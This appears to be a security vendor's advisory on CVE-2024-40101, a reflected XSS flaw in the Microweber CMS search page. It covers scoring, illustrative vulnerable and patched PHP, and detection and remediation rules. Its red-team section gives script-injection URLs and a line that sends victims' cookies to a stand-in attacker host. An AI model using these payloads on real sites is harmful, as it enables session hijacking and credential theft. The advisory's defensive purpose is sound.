CVE-2024-40101
Executive Summary
CVE-2024-40101 is a reflected Cross-Site Scripting (XSS) vulnerability in the Microweber content management system, affecting version 2.0.15 and earlier. The flaw resides in the /search endpoint, where the keywords parameter is not properly sanitized before being reflected in the HTTP response. An unauthenticated, remote attacker can inject arbitrary web script or HTML, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with a low attack complexity and no privileges required, but user interaction is required. No official patch has been released, and no public exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Microweber is a PHP-based CMS distributed via Composer/Packagist. The vulnerable component is the core search functionality. No malicious packages or compromised dependencies have been identified in relation to this CVE. However, organizations using Microweber should verify the integrity of their installation and monitor for any unauthorized modifications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is considered Medium due to the requirement for user interaction (e.g., clicking a crafted link). However, the impact is amplified by the lack of authentication and the potential for chaining with other vulnerabilities.
Deep Dive & Mechanics
The vulnerability exists in the /search route of Microweber. When a user submits a search query, the keywords parameter is reflected directly into the HTML response without proper encoding or sanitization. An attacker can craft a URL such as:
http://target.com/search?keywords=<script>alert('XSS')</script>
If a victim visits this URL, the injected script executes in the context of the victim's browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.
The root cause is the lack of output encoding in the search results page. The application likely uses a template engine that does not automatically escape user input, or the developer explicitly disabled escaping for this parameter.
Vulnerable vs. Patched Code
Vulnerable Code (Microweber 2.0.15):
// In search.php or similar controller
$keywords = $_GET['keywords'];
echo "<div class='search-results'>You searched for: " . $keywords . "</div>";
Patched Code (Hypothetical Fix):
// Properly escape output
$keywords = htmlspecialchars($_GET['keywords'], ENT_QUOTES, 'UTF-8');
echo "<div class='search-results'>You searched for: " . $keywords . "</div>";
The fix involves using htmlspecialchars() (or equivalent) to encode HTML special characters before output. Additionally, input validation should be applied to ensure the keywords parameter contains only expected characters.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Microweber instance (version 2.0.15 or earlier)
- A web browser or tool like
curl
Exploitation Steps:
Craft the malicious URL:
http://target.com/search?keywords=<script>alert(document.cookie)</script>Deliver the link to a victim (e.g., via email, social engineering, or a phishing campaign).
When the victim clicks the link, the script executes, and the attacker can:
- Steal session cookies:
document.cookie - Redirect to a phishing page:
window.location='http://attacker.com/steal.php?cookie='+document.cookie - Perform actions on behalf of the victim (e.g., change password, post content).
- Steal session cookies:
Example using curl to test:
curl -v "http://target.com/search?keywords=<script>alert(1)</script>"
Blue Team
Detection Steps:
Monitor web server logs for requests to
/searchwith suspiciouskeywordsparameters containing<script>,onerror,javascript:, or other XSS payloads.Deploy a Web Application Firewall (WAF) rule to block requests containing common XSS patterns in the
keywordsparameter.Implement Content Security Policy (CSP) headers to mitigate the impact of XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';Conduct regular vulnerability scans using tools like OWASP ZAP or Burp Suite to identify reflected XSS.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/searchwithkeywordsparameter containing<script>,%3Cscript%3E, or other HTML/JavaScript tags. - Outbound connections from the victim's browser to attacker-controlled domains (if the payload exfiltrates data).
- HTTP requests to
Host IOCs:
- Unexpected JavaScript execution in the browser (visible via browser developer tools).
- Modified browser cookies or local storage.
Log IOCs:
- Web server access logs showing
GET /search?keywords=<script>...entries. - Error logs may show warnings about unescaped output.
- Web server access logs showing
Detection Engineering
YARA Rule
rule CVE_2024_40101_Microweber_XSS {
meta:
description = "Detects reflected XSS attempts against Microweber /search endpoint"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-40101"
strings:
$xss_payload = /keywords=.*(<script|<img|<svg|onerror|onload|javascript:)/
condition:
$xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against Microweber /search
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to Microweber /search with XSS payloads in the keywords parameter
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-40101
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/search?keywords='
cs-uri-query|re: '(?i)(<script|<img|<svg|onerror|onload|javascript:)'
condition: selection
falsepositives:
- Legitimate search queries containing HTML tags (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-40101 Microweber Reflected XSS Attempt"; flow:to_server,established; content:"/search?keywords="; http_uri; pcre:"/(<script|<img|<svg|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Microweber to a version newer than 2.0.15 if available. If no patch exists, consider disabling the search functionality or restricting access to it.
- Apply a virtual patch using a WAF to block XSS payloads in the
keywordsparameter. - Implement output encoding manually by modifying the application code (if you have access) to use
htmlspecialchars()or a templating engine with auto-escaping.
Long-Term Measures:
- Adopt a secure development lifecycle that includes input validation and output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing.
- Monitor for vendor updates and apply patches promptly.
Workarounds:
- Use
.htaccessto block requests containing<script>in the query string:RewriteEngine On RewriteCond %{QUERY_STRING} (<script|<img|<svg|onerror|onload|javascript:) [NC] RewriteRule ^search - [F,L]
Valters IT
Securing Digital Frontiers